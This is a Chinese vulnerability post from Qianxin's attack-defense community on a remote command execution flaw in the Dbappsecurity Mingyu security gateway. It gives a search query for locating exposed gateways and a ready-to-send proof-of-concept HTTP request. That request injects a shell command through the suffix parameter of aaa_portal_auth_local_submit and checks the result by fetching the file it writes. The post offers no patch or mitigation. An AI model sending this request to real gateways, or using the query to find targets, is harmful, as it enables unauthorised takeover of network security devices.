奇安信攻防社区-Dbappsecurity 明御安全网关 aaa_portal_auth_local

Dbappsecurity 明御安全网关 aaa_portal_auth_local_submit 远程命令执行漏洞

# Dbappsecurity 明御安全网关 aaa_portal_auth_local_submit 远程命令执行漏洞 ## 漏洞描述 Dbappsecurity 明御安全网关 aaa_portal_auth_local_submit 存在远程命令执行漏洞，攻击者通...

Dbappsecurity 明御安全网关 aaa\_portal\_auth\_local\_submit 远程命令执行漏洞
==============================================================

漏洞描述
----

Dbappsecurity 明御安全网关 aaa\_portal\_auth\_local\_submit 存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限

漏洞影响
----

Dbappsecurity 明御安全网关

网络测绘
----

body="/webui/images/basic/login/" &amp;&amp; title=="明御安全网关"

漏洞复现
----

登录页面

![img](https://shs3.b.qianxin.com/butian_public/f670445eb114d7f7b00b60b1d0cc00dde65f7b7f0ce2d.jpg)

验证POC

```plain
GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&suffix={{urlenc(`id >/usr/local/webui/test.txt`)}} HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
```

![img](https://shs3.b.qianxin.com/butian_public/f43762370ed91657d48578e32888f33bfa0036dc432b8.jpg)

```plain
/test.txt
```

![img](https://shs3.b.qianxin.com/butian_public/f1015015c5a2f17d45652402b0f063384bcf794d34456.jpg)

发表于 2024-07-12 18:49:23
阅读 ( 680 )
分类：网络设备

Dbappsecurity 明御安全网关 aaa_portal_auth_local_submit 远程命令执行漏洞

0 条评论